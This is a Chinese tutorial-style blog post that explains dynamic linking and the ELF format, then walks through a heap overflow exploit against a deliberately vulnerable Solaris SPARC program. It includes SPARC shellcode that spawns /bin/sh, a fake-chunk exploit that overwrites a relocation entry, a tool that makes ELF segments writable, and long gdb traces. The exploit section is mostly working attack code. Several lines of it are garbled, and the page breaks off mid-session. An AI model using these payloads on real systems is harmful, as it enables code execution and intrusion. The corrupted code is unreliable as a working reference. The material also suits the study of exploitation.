`
zhanglibin1986
  • 浏览: 374812 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

关于动态联结

阅读更多
大家知道,要生成一个可执行程序(Executable),要分两步走:第一步是把源程序编译成(Compile)目标文件(Object File)。目标文件实际上包含着机器指令,但它们却不能执行,因为它们之间,以及它们与目标文件库(Library)之间有相互依靠的关系 (Dependency),比如说目标文件A要用到目标文件B输出(Export)的函数,目标文件B要使用目标文件C的某个全局变量(Global Variable)等等,但输出函数、全局变量这些符号(Symbol)的地址在何处它们却不知道。所以第二步就是把各个目标文件以及目标文件库联结起来 (Link),确定Symbols的地址(Symbol Resolution以及Relocation),这样A就知道到何处调用B的输出函数,B就知道C的变量的地址等等。联结的结果就生成了可执行程序 (Executable)。

只是由于各种各样的原因,这第二步----联结可能在不同的阶段发生:

最简单的情况是在编译阶段(Compilation Time)。紧接着Compilation之后,我们把所有涉及的目标文件进行联结,把所有地址不清楚的Symbol都在这个时候搞定。最后生成的执行程序(Executable)载入内存后(由execve家族载入),一心一意地从头奔到尾。这种联结叫固态联结(statically link)。当然这样生成的程序Size较大,载入内存中也占不小的空间。

第二种情况是在载入阶段(LoadTime)。在这种情况下,执行程序(Executable)虽被载入内存,但它象青苹果一样尚未完全成熟,因为它仍然有地址不清楚的Symbol,这些Symbol定义在另外的目标文件库中。execve先把青苹果载入内存后,紧接着会由动态联结器(Dynamic Linker)把定义了这些Symbol的目标文件库载入,同时把它们的地址搞清楚(Relocation),这以后动态联结器才把控制权转到执行程序开始运行。由于这种情况下目标文件库独立于执行程序存在,执行程序SIZE就会比固态联结的情况要小,而且目标文件库在载入内存后可被其他进程所分享,所以称这些目标文件库为Shared Library。UNIX系统和LINUX系统就用到这种联结方式。

第三种情况是窗口操作系统(开个玩笑,是Windows操作系统)经常用到的----在执行阶段(RunTime)进行动态联结。程序在运行过程中遇到了没定义的Symbol(或者说地址不清楚的Symbol)时,就会先把定义这些Symbol的文件库载入(用LoadLibrary函数),如果这些 Symbol是函数的名称,系统就紧接着用GetProcAddr函数把它们的地址搞清楚,最后回到原来的程序继续执行下去。Windows操作系统把这些文件库称为动态联结文件库(Dynamic Link Library),它们也可以被不同进程中分享。在后面讲到Windows操作系统的Exploit例子时,我们会大量涉及到动态联结以及动态联结文件库的细节。


关于ELF格式:


以上是关于各种联结的背景介绍,下面我用程序vul.c来介绍一下Solaris和LINUX系统的标准格式:ELF格式(Executable and Link Format),侧重于介绍这一章Exploit会涉及的部分。这个源程序vul.c也是这一章我们Exploit的对象。


<============================vul.c=============================>

#include <stdio.h>
#define IOSIZE 1024

int main(int argc, char **argv )
{
    FILE * binFileH;
    char binFile[] = "binfile";
    char *m1, *m2, *m3;

    if ( (binFileH = fopen(binFile, "rb")) == NULL)
    {
        printf("can't open file -cn");
        exit();
    
'7d

    m1 = (void *) malloc(IOSIZE);
    m2 = (void *) malloc(IOSIZE);    
    memset(m1, '\0', IOSIZE);
    memset(m2, '\0', IOSIZE);
    
    fread(m1, sizeof(char), IOSIZE+48, binFileH);
    printf("Finish Reading in m1\n");

    printf("Do something with m2 before free it\n");
    free(m2);    

    m3 = (void*) malloc(IOSIZE/2);
    
    printf("Free m1 and m3\n");
    free(m1);
    free(m2);
    
}


<==============================================================>

注意这个程序调用了不少函数,象printf,free,malloc等等,但程序本身并没有定义这些函数,所以动态联结器(Dynamic Linker)要负责确定这些函数Symbol的地址。动态联结器也负责确定变量Symbol的地址,但这不是我们要研究的重点,下面提到的Symbol 专指函数Symbol。

先用GNU的工具把程序编译:

hongkong:/home/moda  gcc -o vul vul.c -g

执行文件vul具有ELF格式,这种格式的文件由多个Section组成,我们可以用GNU工具objdump看看各个Section的内容:

hongkong:/home/moda  objdump -S vul

vul:     file format elf32-sparc

Contents of section .interp:
100d4 2f757372 2f6c6962 2f6c642e 736f2e31  /usr/lib/ld.so.1
100e4 00                                   .              
Contents of section .hash:
100e8 0000001d 00000019 00000001 00000003  ................
100f8 00000000 00000005 00000000 00000006  ................
10108 00000009 00000000 0000000b 0000000c  ................
................略................
Contents of section .dynsym:
101c8 00000000 00000000 00000000 00000000  ................
101d8 00000001 000209fc 00000000 12000000  ................
101e8 00000007 000209d8 00000000 12000000  ................
101f8 0000000e 00020960 00000000 1100000e  .......`........
................略................
Contents of section .dynstr:
10358 00667265 61640070 72696e74 66005f50  .fread.printf._P
10368 524f4345 44555245 5f4c494e 4b414745  ROCEDURE_LINKAGE
10378 5f544142 4c455f00 656e7669 726f6e00  _TABLE_.environ.
10388 5f44594e 414d4943 005f6564 61746100  _DYNAMIC._edata.
10398 66726565 006d616c 6c6f6300 5f657465  free.malloc._ete
103a8 7874005f 696e6974 005f5f64 65726567  xt._init.__dereg
103b8 69737465 725f6672 616d655f 696e666f  ister_frame_info
103c8 006d6169 6e005f65 6e766972 6f6e005f  .main._environ._
103d8 474c4f42 414c5f4f 46465345 545f5441  GLOBAL_OFFSET_TA
103e8 424c455f 005f5f72 65676973 7465725f  BLE_.__register_
103f8 6672616d 655f696e 666f005f 6c69625f  frame_info._lib_
10408 76657273 696f6e00 5f657869 74006174  version._exit.at
10418 65786974 00657869 74005f65 6e64005f  exit.exit._end._
10428 73746172 74006d65 6d736574 005f6669  start.memset._fi
10438 6e690066 6f70656e 006c6962 632e736f  ni.fopen.libc.so
10448 2e310053 59535641 42495f31 2e33006c  .1.SYSVABI_1.3.l
10458 6962632e 736f2e31 00                 ibc.so.1.      
Contents of section .SUNW_version:
10464 00010001 000000e9 00000010 00000000  ................
10474 0537ccb3 00000000 000000f3 00000000  .7..............
Contents of section .rela.got:
10484 0002095c 00000f14 00000000 00020958  ...\...........X
10494 00000b14 00000000                    ........        
Contents of section .rela.bss:
1049c 00020b04 00000d13 00000000           ............    
Contents of section .rela.plt:
104a8 00020990 00001215 00000000 0002099c  ................
104b8 00001315 00000000 000209a8 00001115  ................
104c8 00000000 000209b4 00000b15 00000000  ................
104d8 000209c0 00000f15 00000000 000209cc  ................
104e8 00001815 00000000 000209d8 00000215  ................
104f8 00000000 000209e4 00000815 00000000  ................
10508 000209f0 00001615 00000000 000209fc  ................
10518 00000115 00000000 00020a08 00000715  ................
10528 00000000                             ....            
Contents of section .text:
1052c bc102000 e003a040 a203a044 9c23a020  .. ....@...D.#.
1053c 80900001 02800004 90100001 40004112  ............@.A.
1054c 01000000 11000042 901220a8 4000410e  .......B.. .@.A.
1055c 01000000 400000cb 01000000 90100010  ....@...........
................略................
Contents of section .init:
1088c 9de3bfa0 7fffff77 01000000 7fffffe6  .......w........
1089c 01000000 81c7e008 81e80000           ............    
Contents of section .fini:
108a8 9de3bfa0 7fffff3f 01000000 81c7e008  .......?........
108b8 81e80000                             ....            
Contents of section .rodata:
108c0 00000001 00000000 62696e66 696c6500  ........binfile.
108d0 72620000 00000000 63616e27 74206f70  rb......can't op
108e0 656e2066 696c6520 0a000000 00000000  en file ........
108f0 46696e69 73682052 65616469 6e672069  Finish Reading i
10900 6e206d31 0a000000 446f2073 6f6d6574  n m1....Do somet
10910 68696e67 20776974 68206d32 20626566  hing with m2 bef
10920 6f726520 66726565 2069740a 00000000  ore free it.....
10930 46726565 206d3120 616e6420 6d330a00  Free m1 and m3..
Contents of section .got:
20940 00020a18 00020aec 00020ad0 00020ae8  ................
20950 00020ad4 00020adc 00000000 00000000  ................
Contents of section .plt:
20960 00000000 00000000 00000000 00000000  ................
20970 00000000 00000000 00000000 00000000  ................
20980 00000000 00000000 00000000 00000000  ................
20990 03000030 30bffff3 01000000 0300003c  ...00..........<
209a0 30bffff0 01000000 03000048 30bfffed  0..........H0...
209b0 01000000 03000054 30bfffea 01000000  .......T0.......
209c0 03000060 30bfffe7 01000000 0300006c  ...`0..........l
209d0 30bfffe4 01000000 03000078 30bfffe1  0..........x0...
209e0 01000000 03000084 30bfffde 01000000  ........0.......
209f0 03000090 30bfffdb 01000000 0300009c  ....0...........
20a00 30bfffd8 01000000 030000a8 30bfffd5  0...........0...
20a10 01000000 01000000                    ........        
Contents of section .dynamic:
20a18 00000001 000000ff 0000000c 0001088c  ................
20a28 0000000d 000108a8 00000004 000100e8  ................
20a38 00000005 00010358 0000000a 00000109  .......X........
20a48 00000006 000101c8 0000000b 00000010  ................
20a58 6ffffdf8 0000e356 6ffffffe 00010464  o......Vo......d
20a68 6fffffff 00000001 00000002 00000084  o...............
20a78 00000014 00000007 00000017 000104a8  ................
20a88 00000007 00010484 00000008 000000a8  ................
20a98 00000009 0000000c 00000015 00000000  ................
20aa8 6ffffdfc 00000001 0000001e 00000000  o...............
20ab8 6ffffffb 00000000 00000003 00020960  o..............`
20ac8 00000000 00000000                    ........        
Contents of section .data:
20ad0 00020ae4 00000000                    ........        
Contents of section .ctors:
20ad8 ffffffff 00000000                    ........        
Contents of section .dtors:
20ae0 ffffffff 00000000                    ........        
Contents of section .eh_frame:
20ae8 00000000                             ....            
................略................

hongkong:/home/moda  
hongkong:/home/moda  
hongkong:/home/moda  



上面我把我觉得比较重要的Section用黑体显示,这些Section的第一列给出了它们在内存中的虚拟地址。

其中的.interp Section 给出了动态联结器(Dynamic Linker)的完整路径名。当execve载入程序后,它会把控制权转到.interp Section所指向的动态联结器。

.text Section 为程序vul.c的机器码。.data Section 保存程序vul.c的初始化全局变量。

.rela.got,.rela.plt,.rela.bss 分别与.got,.plt,.bss 相对应,前者的Entry指出了在后者中有哪些位置的内容是属于地址未定的Symbol的。程序vul使用这些Symbol之前,这些位置的内容需要进一步Relocation,也就是需要修改以反映确定后的地址。以.rela.plt的第七个Entry为例:这个Entry的内容是"000209d8 00000215 00000000",000209d8是虚拟地址,位于.plt 中 (你们可以对照上面.plt Section 第一列的地址核实一下);00000215告诉我们这个Symbol的名字是在.dynstr (Dynamic String) Section中的第0x2个,也就是printf函数;15是Relocation Type:R_SPARC_JMP_SLOT,这是众多确定地址的方法中的一种,这种Relocation Type需要修改PLT的Entry。 所以.rela.plt的第七个Entry告诉我们,在位置000209d8中的内容是与printf函数有关的,程序在调用printf函数前,必须修改位置000209d8中的内容以反应函数printf正确的地址;在这以后,程序就可以直接从这个000209d8得到printf的地址。

那么这个确定地址的过程(Symbol Relocation)在何时发生呢?位置000209d8中的内容在何时修改呢?前面提到了三个进行联结的阶段:编译阶段,载入阶段,执行阶段。我们这个vul程序联结的时机介於载入阶段和执行阶段之间,取决于环境变量LD_BIND_NOW的设置:
1。
如果这个环境变量LD_BIND_NOW存在并且不为空值(NULL Value),那么在载入阶段时,动态联结器就必须先确定所有地址未定的函数Symbol的地址,然后才将控制权传到执行程序让它开始运行。
2。
如果LD_BIND_NOW变量不存在或者为空值,那么确定函数地址的过程就推迟到执行阶段。在程序运行的过程中,当该函数被第一次调用时,由动态联结器确定其地址并且把确定后的内容写入.plt(Solaris的情况)或.got(Linux的情况)。以后对该函数的调用就可以直接从.plt(Solaris的情况)或.got(Linux的情况)得到确定后的地址。这种技术叫做Lazy Binding,有利于程序的迅速启动。

我们来看看在Solaris系统中确定printf地址的过程,当然是在Lazy Binding的情况下。由于执行文件vul是在Solaris系统上编译及运行,其.plt中对应着printf的Entry将被修改。在修改之前,也就是Relocation前,

(gdb) x/4x 0x000209d8        //以HEX显示0x000209d8的内容
0x209d8 <printf>:       0x03000078      0x30bfffe1      0x01000000                      0x03000084
(gdb) x/4i 0x000209d8        //反汇编同一内容
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     b,a   0x20960 <_PROCEDURE_LINKAGE_TABLE_>
0x209e0 <printf+8>:     nop
0x209e4 <malloc>:       sethi  %hi(0x21000), %g1

从反汇编的机器指令可以看到,对printf的调用会跳到PROCEDURE_LINKAGE_TABLE,从那里进入动态联结器去确定printf的地址。 在printf的.plt Entry被修改以后,也就是Relocation后,

(gdb) x/4x 0x000209d8
0x209d8 <printf>:       0x03000078      0x033fcc0d      0x81c06248                      0x03000084
(gdb) x/4i 0x000209d8
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     sethi  %hi(0xff303400), %g1
0x209e0 <printf+8>:     jmp  %g1 + 0x248        ! 0xff303648
0x209e4 <malloc>:       sethi  %hi(0x21000), %g1

大家可以看到,在位置000209d8处的内容确实发生了改变。如果程序再调用printf,它将会跳到printf的正确地址0xff303648。

.rela.got,.rela.plt,.rela.bss 总共给出了14个需要确定地址的Symbol,我们可以用objdump的命令行选项-R把它们列出来:

hongkong:/home/moda objdump -R vul

vul:     file format elf32-sparc

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
000000000002095c R_SPARC_GLOB_DAT  __register_frame_info
0000000000020958 R_SPARC_GLOB_DAT  __deregister_frame_info
0000000000020b04 R_SPARC_COPY      _environ
0000000000020990 R_SPARC_JMP_SLOT  atexit
000000000002099c R_SPARC_JMP_SLOT  exit
00000000000209a8 R_SPARC_JMP_SLOT  _exit
00000000000209b4 R_SPARC_JMP_SLOT  __deregister_frame_info
00000000000209c0 R_SPARC_JMP_SLOT  __register_frame_info
00000000000209cc R_SPARC_JMP_SLOT  fopen
00000000000209d8 R_SPARC_JMP_SLOT  printf
00000000000209e4 R_SPARC_JMP_SLOT  malloc
00000000000209f0 R_SPARC_JMP_SLOT  memset
00000000000209fc R_SPARC_JMP_SLOT  fread
0000000000020a08 R_SPARC_JMP_SLOT  free

Exploit 的过程:

上面提到对于Solaris系统,在Symbol Relocation(确定地址)后,.plt的内容反映正确的函数地址,对于Linux系统中,.got的内容反映正确的函数地址。这里我们研究的是如何Exploit在Solaris中的malloc漏洞,所以我只能打.plt的主意。

想当初,我刚开始编写针对这一章vul的Exploit程序,原来打算用黑客码起始地址去覆盖.plt中printf函数的Entry,希望当程序调用 printf函数时,它会跳入黑客码去执行。但仔细研究.plt的结构以后,我放弃了这个计划。为什么呢?下面我把在Symbol Relocation前后printf在.plt中的Entry内容列出来,大家对照一下就知道了:

Symbol Relocation 前:
0x209d8 <printf>:       0x03000078      0x30bfffe1      0x01000000     
反汇编同一内容
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     b,a   0x20960 <_PROCEDURE_LINKAGE_TABLE_>
0x209e0 <printf+8>:     nop

Symbol Relocation 后:
0x209d8 <printf>:       0x03000078      0x033fcc0d      0x81c06248     
反汇编同一内容
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     sethi  %hi(0xff303400), %g1
0x209e0 <printf+8>:     jmp  %g1 + 0x248        ! 0xff303648

大家可以看到共有8 Bytes的内容发生改变,用warning3的文章里介绍的方法却只能改4 Bytes,这是难点之一。难点之二,包括printf在内的各个函数在.plt中的Entry只是3 个机器指令而已,并不包含任何32bits地址,如果用黑客码地址去覆盖函数的Entry,只会破坏机器指令,运行结果是没办法控制的。

后来我注意到.rela.plt,发现它也有对应于printf的Entry,而且这个Entry的前32位就是地址。於是我就尝试着用下面的Exploit程序去覆盖这个地址。


<=================================expl.c=============================>

#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>

#define VULPROG "./vul"
#define VICTIMFUNC    0x104f0
#define SHELL    0x20b10 + 2*4
#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */
#define CRAP "\xbf\xeb\x1f\x0c"
#define IOSIZE 1024

char    shellcode[] =           /* from scz's funny shellcode for  SPARC */
"\x20\xbf\xff\xff"              /* bn,a    <shellcode-4>        */
"\x20\xbf\xff\xff"              /* bn,a    <shellcode>          */
"\x7f\xff\xff\xff"              /* call    <shellcode+4>        */
"\xaa\x1d\x40\x15"
"\x81\xc3\xe0\x14"              /* jmp     %o7+20 ????????? */
"\xaa\x1d\x40\x15"
"\xaa\x1d\x40\x15"              /* (shelladdr - 8 + 32 ) will be overwrote by
                                 * (victimf -8) */
/* ???shellcode */                               
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80
'5cx0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfcPcxc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";


int main(int argc , char ** argv)
{
    FILE * binFileH ;
    char binFile[10]="binfile" ;
    char buf[2*IOSIZE];
      char fake_chunk[48];
    char        *p ;
    unsigned int    *pp;
    char        *argv[] = {VULPROG, NULL, NULL };
    long        relatAddr;
       

    p=buf;
    *((void **)p) = (void*) (CRAP);
    p+=4;
    *((void **)p) = (void*) (CRAP);
    p+=4;
    memcpy(p, shellcode, strlen(shellcode));
    p+=strlen(shellcode);
      memset(p, 'A', IOSIZE - 2*4 - strlen(shellcode));

    memset(fake_chunk, '\xff', sizeof(fake_chunk));
      pp = (unsigned int *) fake_chunk;
      *(pp + 0) = 0xfffffff9;  /* t_s = -8 */
      *(pp + 2) = VICTIMFUNC - 32; /* t_p */

//    relatAddr = (SHELL - VICTIMFUNC )/4;
//    *(pp + = 0x40000000 | (relatAddr);
      *(pp + = SHELL  ;  /* t_n      */
         


    memcpy(buf + IOSIZE, fake_chunk, sizeof(fake_chunk));


    binFileH = fopen ( binFile, "wb" ) ;
        if ( binFileH != NULL ) {
        fwrite(buf, sizeof(char), 2*IOSIZE, binFileH);
        fclose(binFileH);
    }
       

    printf("Before Entering the Execve\n");
        execve(argv[0], argv, NULL);
        perror("execle");
}


<====================================================================>


以下是Debug的过程,如果大家象读毛选那样读透了warning3的文章,那么应该可以根据我的注释看下去。

hongkong:/home/moda gdb vul
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) b main
Breakpoint 1 at 0x106cc: file vul.c, line 6.
(gdb) r
Starting program: /home/moda/malloc_of/v2/vul

Breakpoint 1, main (argc=1, argv=0xffbeefdc) at vul.c:6
6               FILE * binFileH;
(gdb) s
7               char binFile[] = "binfile";
(gdb) s
10              if ( (binFileH = fopen(binFile, "rb")) == NULL)
(gdb) s
16              m1 = (void *) malloc(IOSIZE);
(gdb) s
17              m2 = (void *) malloc(IOSIZE);
(gdb) s
18              memset(m1, '\0', IOSIZE);
(gdb) s
19              memset(m2, '\0', IOSIZE);
(gdb) s
21              fread(m1, sizeof(char), IOSIZE+48, binFileH);
/*
在fread之前,m1及m2缓冲区冲满了"\x00",执行fread将造成缓冲区m1的溢出。
*/
(gdb) x/20x m1
0x20b10:        0x00000000      0x00000000      0x00000000      0x00000000
0x20b20:        0x00000000      0x00000000      0x00000000      0x00000000
0x20b30:        0x00000000      0x00000000      0x00000000      0x00000000
0x20b40:        0x00000000      0x00000000      0x00000000      0x00000000
0x20b50:        0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/20x m2
0x20f18:        0x00000000      0x00000000      0x00000000      0x00000000
0x20f28:        0x00000000      0x00000000      0x00000000      0x00000000
0x20f38:        0x00000000      0x00000000      0x00000000      0x00000000
0x20f48:        0x00000000      0x00000000      0x00000000      0x00000000
0x20f58:        0x00000000      0x00000000      0x00000000      0x00000000
(gdb) s
22              printf("Finish Reading in m1\n");

(gdb) x/20x m1
0x20b10:        0x00010a40      0x00010a40      0x20bfffff      0x20bfffff
0x20b20:        0x7fffffff      0xaa1d4015      0x81c3e014      0xaa1d4015
0x20b30:        0xaa1d4015      0x20804973      0x20806261      0x20807365
0x20b40:        0x20803a29      0x7fffffff      0x941a800a      0x9003e034
0x20b50:        0x920b800e      0x9c03a008      0xd023bff8      0xc023bffc
/*
在fread之后,m2的malloc函数管理数据被覆盖
*/
(gdb) x/20x m2-0x10
0x20f08:        0x41414141      0x41414141      0xfffffff9      0xffffffff
0x20f18:        0x000104d0      0xffffffff      0xffffffff      0xffffffff
0x20f28:        0xffffffff      0xffffffff      0x00020b18      0xffffffff
0x20f38:        0xffffffff      0xffffffff      0x00000000      0x00000000
0x20f48:        0x00000000      0x00000000      0x00000000      0x00000000
(gdb) si
0x000107c0      22              printf("Finish Reading in m1\n");
(gdb) si
0x000107c4      22              printf("Finish Reading in m1\n");
(gdb) si
0x000107c8      22              printf("Finish Reading in m1\n");
(gdb) si
0x000209d8 in printf ()
/*
这时进入plt Section,因为是第一次调用函数printf,所以需要动态联结器确定printf的地址。下面是修改前的plt Entry:
*/
(gdb) x/4x 0x000209d8
0x209d8 <printf>:       0x03000078      0x30bfffe1      0x01000000      0x03000084
(gdb) x/4i 0x000209d8
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     b,a   0x20960 <_PROCEDURE_LINKAGE_TABLE_>
0x209e0 <printf+8>:     nop
0x209e4 <malloc>:       sethi  %hi(0x21000), %g1
(gdb) s
Single stepping until exit from function printf,
which has no line number information.
Finish Reading in m1
main (argc=1, argv=0xffbeefdc) at vul.c:24
24              printf("Do something with m2 before free it\n");
(gdb) si
0x000107d0      24              printf("Do something with m2 before free it\n");
(gdb) si
0x000107d4      24              printf("Do something with m2 before free it\n");
(gdb) si
0x000107d8      24              printf("Do something with m2 before free it\n");
(gdb) si
0x000209d8 in printf ()
/*
再次进入plt Section,这时函数printf的地址已经确定为0xff303648,而它的plt Entry被修改如下:
*/
(gdb) x/4i 0x000209d8
0x209d8 <printf>:       sethi  %hi(0x1e000), %g1
0x209dc <printf+4>:     sethi  %hi(0xff303400), %g1
0x209e0 <printf+8>:     jmp  %g1 + 0x248        ! 0xff303648
0x209e4 <malloc>:       sethi  %hi(0x21000), %g1
(gdb) x/4x 0x000209d8
0x209d8 <printf>:       0x03000078      0x033fcc0d      0x81c06248      0x03000084
(gdb) s
Single stepping until exit from function printf,
which has no line number information.
Do something with m2 before free it
main (argc=1, argv=0xffbeefdc) at vul.c:25
25              free(m2);
(gdb) s
27              m3 = (void*) malloc(IOSIZE/2);
/*
这个函数malloc(IOSIZE/2)是整个Exploit的导火线,原理请参考warning3的文章
*/
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0xff2c62a0 in ?? ()
/*
程序调用malloc时在地址0xff2c62a0发生段错误
*/
(gdb) x/5i 0xff2c62a0
0xff2c62a0:     st  %o1, [ %o0 + 0x20 ]
0xff2c62a4:     ret
0xff2c62a8:     restore
0xff2c62ac:     cmp  %o0, 0
0xff2c62b0:     be,a   0xff2c62c4
(gdb) i reg o1
o1             0x20b18  133912
(gdb) i reg o0
o0             0x104d0  66768
/*
寄存器o1中有我们黑客码的地址0x20b18,那么%o0+0x20=0x104f0,正好是.rela.plt 中函数printf的Entry。当程序企图用0x20b18覆盖0x104f0时,发生段错误,就是Segmentation Violation。不过大家看下面从0x20b18开始的黑客码中,地址0x20b20已经被修改成0x000104d0
*/
(gdb) x/20x 0x20b18
0x20b18:        0x20bfffff      0x20bfffff      0x000104d0      0xaa1d4015
0x20b28:        0x81c3e014      0xaa1d4015      0xaa1d4015      0x20804973
0x20b38:        0x20806261      0x20807365      0x20803a29      0x7fffffff
0x20b48:        0x941a800a      0x9003e034      0x920b800e      0x9c03a008
0x20b58:        0xd023bff8      0xc023bffc      0xc02a2007      0x8210203b
(gdb) q
The program is running.  Exit anyway? (y or n) y
hongkong:/home/minchumo

上面之所以发生段错误,是因为当vul载入内存执行时,.rela.plt 被标志为只读内存(READONLY),任何修改它的企图都会导致Access Violation。

我们知道,ELF格式文件由多个Section组成,在载入内存后,它的内存影像(Image)则由多个段(Segment)组成,而且不同 Segment被标志为不同的可访问权限。Section 与 Segment 之间有对应关系,我们可以用GNU工具readelf来显示程序vul在内存中的几个Segment、它们与Section的对应关系以及它们的权限标志:

hongkong:/home/moda readelf -l vul

Elf file type is EXEC (Executable file)
Entry point 0x1052c
There are 5 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0
  INTERP         0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R   0
      [Requesting program interpreter: /usr/lib/ld.so.1]
  LOAD           0x000000 0x00010000 0x00000000 0x008e0 0x008e0 R E 0x10000
  LOAD           0x0008e0 0x000208e0 0x00000000 0x001ac 0x001c8 RWE 0x10000
  DYNAMIC        0x0009b8 0x000209b8 0x00000000 0x000b8 0x00000 RWE 0

Section to Segment mapping:  //  Section 与 Segment 的对应关系
  Segment Sections...
   00   
   01   
   02     .interp .hash .dynsym .dynstr .SUNW_version .rela.got .rela.bss         .rela.plt .text .init .fini .rodata
   03     .got .plt .dynamic .data .ctors .dtors .eh_frame .bss
   04   

hongkong:/home/moda
hongkong:/home/minchumo


程序vul共有5个Segment (00-04),它们的可访问权限由Flg指示。.rela.plt被分配到Segment 02。这个Segment的可访问权限是RE----可读,可执行但不能写,所以前面的Expl程序在企图写这个Segment时栽了个跟斗。

到这时,我已经知道按这个思路是没办法Exploit GOT/PLT的,不过如果能改变vul的Segment 02的可访问权限,结果会怎样呢?我们来看下面这个程序modify.c,它能够根据你的需要改变程序任何Segment的可访问权限。我们用它把程序 vul的Segment 02加上可写权限。

<===============================modify.c============================>

#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

  Elf32_Ehdr *p_ElfHdr;
  Elf32_Phdr *p_ElfSegHdr;
  struct stat fileStat;
  off_t fileMapSize;
  char sElfMagic[] = "\x7f" "ELF";
  char *p_FileStartAddr;

  char *binFile;
  unsigned long segPerm = 0;
  int segNo, fd, i;


if (argc != 4) {
    printf("Usage: %s file_name segment_no segment_permissions(rwx) \n",
    argv[0]);
    exit(-1);
}

binFile = argv[1];

segNo = atoi(argv[2]);

i = 0;
while (argv[3][i]) {
        switch(argv[3][i]) {
                case 'x':
                        segPerm = segPerm|PF_X;
                        break;
                case 'r':
                        segPerm = segPerm|PF_R;
                        break;
                case 'w':
                        segPerm = segPerm|PF_W;
                        break;
                default:
                        break;

        }
        i++;
}

/*open the executable file*/
if ( (fd = open(binFile, O_RDWR)) == -1 ) {
    printf("Could not open %s, error is %s\n", binFile, strerror(errno));
    exit(-1);
}

/*get the executable file status*/
if (fstat(fd, &fileStat)) {
    printf("Could not stat %s, error is %s\n", binFile, strerror(errno));
    exit(-1);
}

fileMapSize = fileStat.st_size;

/*map the file into memory and get the starting address*/
if (!(p_FileStartAddr = mmap(0, fileMapSize, PROT_READ | PROT_WRITE,\   
    MAP_SHARED, fd, 0))) {
    printf( "Could not mmap %s, error is %s\n", binFile, strerror(errno));
    exit(-1);
}

p_ElfHdr = (Elf32_Ehdr *) p_FileStartAddr;

if  (segNo >= p_ElfHdr->e_phnum) {
    printf("Segment %d does not exist! \n", segNo);
    exit(-1);
}

/*get the target segment header*/
p_ElfSegHdr = (Elf32_Phdr *) ((char *) p_ElfHdr + p_ElfHdr->e_phoff + \
    (p_ElfHdr->e_phentsize * segNo));

/*reset the segment permision*/
p_ElfSegHdr->p_flags = segPerm;

/*unmap the file*/
munmap(p_FileStartAddr, fileMapSize);
close(fd);

return(0);

'7d

<===================================================================>


设置Segment 02可访问权限为rwx:

hongkong:/home/moda
hongkong:/home/moda modify vul 2 rwx   
File vul mapped at ff380000 for 9352 bytes
hongkong:/home/minchumo

修改后的结果:

hongkong:/home/moda readelf -l vul 

Elf file type is EXEC (Executable file)
Entry point 0x1052c
There are 5 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x00010034 0x00000000 0x000a0 0x000a0 R E 0
  INTERP         0x0000d4 0x00000000 0x00000000 0x00011 0x00000 R   0
      [Requesting program interpreter: /usr/lib/ld.so.1]
/*注意下面的 Flg 已经设置为RWE*/
  LOAD           0x000000 0x00010000 0x00000000 0x008e0 0x008e0 RWE 0x10000
  LOAD           0x0008e0 0x000208e0 0x00000000 0x001ac 0x001c8 RWE 0x10000
  DYNAMIC        0x0009b8 0x000209b8 0x00000000 0x000b8 0x00000 RWE 0

Section to Segment mapping:
  Segment Sections...
   00   
   01   
   02     .interp .hash .dynsym .dynstr .SUNW_version .rela.got .rela.bss .rela.plt .text .init .fini .rodata
   03     .got .plt .dynamic .data .ctors .dtors .eh_frame .bss
   04   

hongkong:/home/moda
hongkong:/home/minchumo

那么我们Exploit这个"新"的程序vul会有怎么样的结果呢?

hongkong:/home/moda gdb vul
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) b main
Breakpoint 1 at 0x106cc: file vul.c, line 6.
(gdb) r
Starting program: /home/moda/malloc_of/v3/vul

Breakpoint 1, main (argc=1, argv=0xffbeefdc) at vul.c:6
6               FILE * binFileH;
(gdb) s
7               char binFile[] = "binfile";
(gdb) s
10              if ( (binFileH = fopen(binFile, "rb")) == NULL)
(gdb) s
16              m1 = (void *) malloc(IOSIZE);
(gdb) s
17              m2 = (void *) malloc(IOSIZE);
(gdb) s
18              memset(m1, '\0', IOSIZE);
(gdb) s
19              memset(m2, '\0', IOSIZE);
(gdb) s
21              fread(m1, sizeof(char), IOSIZE+48, binFileH);
(gdb) s
25              free(m2);
(gdb) x/20x m1
